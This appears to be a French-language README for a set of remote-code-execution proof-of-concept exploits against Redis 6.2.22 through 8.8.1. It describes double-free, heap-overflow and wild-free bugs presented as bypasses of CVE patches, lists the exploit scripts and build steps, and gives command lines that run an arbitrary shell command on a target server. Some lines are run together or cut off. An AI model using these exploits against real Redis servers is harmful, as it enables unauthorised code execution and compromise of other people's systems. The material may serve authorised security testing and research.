
RCE PoC pour Redis 6.2.22, 7.4.9, 8.6.4, 8.8.0, 8.8.1
Exploits RCE non destructifs pour Redis 6.2.22, 7.4.9, 8.6.4 via le shared-NACK double free du groupe de consommateurs du stream (un contournement du correctif de CVE-2026-25243), 8.8.0 via un dépassement de tas TDigest dans le RedisBloom fourni, et 8.8.1 via un TopK wild free (un contournement du correctif de CVE-2026-25589).
A_exploit_stock.py — exploit pour 6.2.22 (redis:6.2.22 image)P74_exploit.py (+ P74_g2.py) — exploit pour 7.4.9 (redis:7.4)P86_exploit.py — exploit pour 8.6.4 (redis:8.6)P88W_exploit.py (+ P88W_lib.py, P88W_corrupt.py) — exploit pour
8.8.0 (redis:8.8.0, via débordement de tas du module fourni TDigest)T88_exploit.py — exploit pour 8.8.0 et 8.8.1 (via wild free du module fourni
TopK; contournement du correctif incomplet de CVE-2026-25589 — fonctionne sur
RedisBloom v8.8.0 et v8.8.2)A_lib.py, G2_arbread.py — utilitaires partagés (doivent se trouver à côté des exploits)crc64.c/h, crcspeed.c/h — sources de libcrc64.so (CRC64 Redis,
nécessaire pour construire des payloads RESTORE valides)calibrate.sh — calcule les offsets binaires pour les builds non officielsP74_loop.sh, P86_run.sh — wrappers de relance au démarragegcc -shared -fPIC -O2 -o libcrc64.so crc64.c crcspeed.c
Prérequis : Python 3.6+ (aucun paquet pip), gcc.
# 6.2.22 (DEBUG enabled by default)
python3 A_exploit_stock.py <host> <port> [password] [trigger]
# 7.4.9 / 8.6.4 — stock target, NO debug flag needed
python3 P74_exploit.py <host> <port> [password] [trigger]
python3 P86_exploit.py <host> <port> [password] [trigger]
# 8.8.0 — stock target, FRESH container/instance strongly recommended
python3 P88W_exploit.py <host> <port> [password] [trigger]
# 8.8.0 / 8.8.1 — TopK wild free, stock target, fresh instance recommended
python3 T88_exploit.py <host> <port> [password] [trigger]
password — omettez (ou passez "") pour les cibles sans authentificationtrigger — commande shell, écrit par défaut une preuve sous /data/pwned*Exemples :
# local lab, 6.2.22
docker run -d -p 6379:6379 redis:6.2.22 redis-server --requirepass exploitme
python3 A_exploit_stock.py 127.0.0.1 6379 exploitme "id > /data/pwned_stock"
# local lab, 7.4.9
docker run -d -p 6379:6379 redis:7.4 redis-server --requirepass exploitme
python3 P74_exploit.py 127.0.0.1 6379 exploitme "id > /data/pwned74"
# local lab, 8.6.4
docker run -d -p 6379:6379 redis:8.6 redis-server --requirepass exploitme
python3 P86_exploit.py 127.0.0.1 6379 exploitme "id > /data/pwned86"
# local lab, 8.8.0
docker run -d -p 6379:6379 redis:8.8.0 redis-server --requirepass exploitme
python3 P88W_exploit.py 127.0.0.1 6379 exploitme "id > /data/pwned88"
python3 T88_exploit.py 127.0.0.1 6379 exploitme "id > /data/pwned_t88"
--str-format-off etc. ; voir --help), ou lancez
./calibrate.sh /path/to/redis-server [/path/to/libc.so.6] pour les générer.
Des offsets erronés font planter le serveur cible (lectures hors limites).EVAL, RESTORE, XGROUP
(8.8.0/8.8.1 nécessitent aussi le module RedisBloom fourni, présent par défaut).HARDENING.md pour les détails.
L'exploit 8.8.0 laisse ~2000 structures tdigest mises à zéro + une clé oracle corrompue
— ne faites pas de FLUSHALL/SAVE sur la cible ensuite.TopK_Destroy lit toujours tous les pointeurs k
au-delà du tas trop petit dans RedisBloom v8.8.0 et v8.8.2).Pour tests autorisés uniquement.